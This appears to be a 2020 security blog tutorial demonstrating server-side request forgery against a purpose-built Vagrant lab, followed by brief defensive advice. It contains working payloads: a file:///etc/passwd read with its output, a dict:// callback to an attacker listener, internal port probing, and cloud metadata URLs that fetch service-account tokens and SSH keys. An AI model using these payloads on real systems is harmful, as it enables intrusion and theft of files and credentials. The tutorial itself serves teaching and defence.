By Jonathan Armas | May 06, 2020
Many web applications request outside services for data, configurations, updates, among others. This is beneficial for the developers and maintainers because it keeps separation of duties in their infrastructure, one for managing the view and another for the data. When it is done right, these applications are easier to maintain and to add features to, but there are some intrinsic risks in getting information through the internet using web services.
Server Side Request Forgery,
SSRF, occurs when
an attacker can create requests
from the vulnerable server to the internet/intranet.
Typically, the vulnerable server has a functionality
that reads data from a URL, publishes data to a URL,
or imports data from a URL.
An attacker could abuse this functionality
to read or update internal resources,
or bypass access controls
like firewalls that prevent the attackers from accessing them directly.
In a normal use case, the vulnerable application works like this:
The user requests information from an external server
through the Web Server. For example,
GET /?url=http://external.server/data HTTP/1.1
The server makes the request to the external server
If the request is to an intranet server, then it passes through the company firewall
The external server responds with the data requested, and the user receives it
When an attacker finds this, and he wants to bypass the firewall in order to get internal resources, then the process of the attack is the following:
The attacker makes the same request
but modifies the payload
for a request to another internal server, for example,
GET /?url=http://admin.server/users HTTP/1.1
The server makes the request to the modified server
The request passes through the company firewall bypassing its measures
The admin server responds with the data requested by the attacker
To set up our lab,
we are going to use
the source files are below.
Create a folder with the name
and save the
$ mkdir ssrf $ cd ssrf ssrf$ nano Vagrantfile #Add the content here
# -*- mode: ruby -*- # vi: set ft=ruby : Vagrant.configure("2") do |config| config.vm.box = "jarmasatfluid/ssrftest" config.vm.box_version = "1" config.vm.network "private_network", ip: "192.168.56.2" end
Then run the environment using:
ssrf$ vagrant up
This will create a
LAMP installed and configured.
At this point, everything we need has been completed
and is ready for us to launch an attack.
Now we can set up our attacking machine.
Here we are using Kali Linux with
but you can use whatever
OS you prefer.
These are the tools that we are going to use:
If you are using
Kali, then everything has already been installed by default.
We are ready to go.
First, we need to check the server ports.
We can use
ncat to do it.
$ nmap 192.168.56.2 $ ncat -vz 192.168.56.2 80 $ ncat -vz 192.168.56.2 3306
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-05 13:32 SA Pacific Standard Time Nmap scan report for 192.168.56.2 Host is up (0.00051s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 80/tcp open http MAC Address: 08:00:27:0A:C5:08 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 10.19 seconds
Ncat: Connected to 192.168.56.2:80. Ncat: 0 bytes sent, 0 bytes received in 0.31 seconds. Ncat: No connection could be made because the target machine actively refused it. .
Our server runs
port 3306, but we do not have access to it.
Dirbuster, we can search for directories on the web server.
$ dirb http://192.168.56.2/ DIRB v2.22 By The Dark Raver START_TIME: Tue May 5 13:30:46 2020 URL_BASE: http://192.168.56.2/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt GENERATED WORDS: 4612 Scanning URL: http://192.168.56.2/ ==> DIRECTORY: http://192.168.56.2/code/ + http://192.168.56.2/index.html (CODE:200|SIZE:11321) + http://192.168.56.2/server-status (CODE:403|SIZE:277) Entering directory: http://192.168.56.2/code/ + http://192.168.56.2/code/admin.php (CODE:302|SIZE:2160) + http://192.168.56.2/code/index.php (CODE:200|SIZE:1148) END_TIME: Tue May 5 13:30:53 2020 DOWNLOADED: 9224 - FOUND: 4
As we can see, there is an admin site to which we do not have access, and a normal site to search for products.
Given that we have access to the search products site, then we can make a request and intercept it:
POST /code/ HTTP/1.1 Host: 192.168.56.2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 82 Origin: http://192.168.56.2 Connection: close Referer: http://192.168.56.2/code/ Cookie: PHPSESSID=6tp090rfsdurfgg5hlfrgr7v97 Upgrade-Insecure-Requests: 1 product_id=5&url=http%3A%2F%2F127.0.0.1%2Fcode%2Fproducts.php%3Fproduct_id%3D&s=OK
There we can see that it makes a request with a URL to retrieve the data.
So, what happens when we modify the URL?
Let’s change it to
Then it will load the
OWASP web page on our site:
Now we have several options to work with.
Let’s create an
SVG image in our kali machine
and then serve it on a local
$ nano payload.svg # Put the content here $ python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ...
Then simply put your URL into the request and watch the result:
As we saw earlier, we could not access the admin section of the server; this can be bypassed with this vulnerability:
If the server had some local HTTP servers
we could bypass the access controls with this vulnerability.
We can use
file:// to get internal files:
product_id=&url=file%3a///etc/passwd&s=OK ... <div class="row d-flex justify-content-center"> root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync ...
We can also use the
dict:// URL schema to connect to a server and send data:
$nc -lvp 8000 # Payload product_id=&url=dict%3a//<YOUR_IP>%3a8000/pwned&s=OK ... Ncat: Connection from IP:PORT. CLIENT libcurl 7.47.0 pwned QUIT ...
This is useful when we find another vulnerable server or service, because we can send data to it and maybe even execute commands.
# Port open product_id=&url=127.0.0.1%3a3306&s=OK ... <div class="row d-flex justify-content-center"> 5.5.5-10.0.38-MariaDB-0ubuntu0.16.04.1 ... # Port closed ... <div class="row d-flex justify-content-center"> </div> ...
If the target uses
Amazon EC2 or
then you can request metadata from them:
# Amazon http://169.254.169.254/latest/meta-data/hostname http://169.254.169.254/latest/user-data/ # Google Cloud http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json
The first level of protection against this attack is to implement input validation. It could be in the form of validating the domain name of the target host using a whitelist. With this, if the attacker tries to access more resources, it will be impossible for him.
Besides, if it is possible, avoid querying URLs using user input. Even if they are hidden fields, an attacker can modify them and exploit a SSRF vulnerability. It is better to request resources directly on the web server whenever it is possible.
Another way to do this is to prevent the web application to access only the resources that it will need by segregating the network. This will prevent access to other resources in the network, but it does not work against local access.
Corporate member of The OWASP Foundation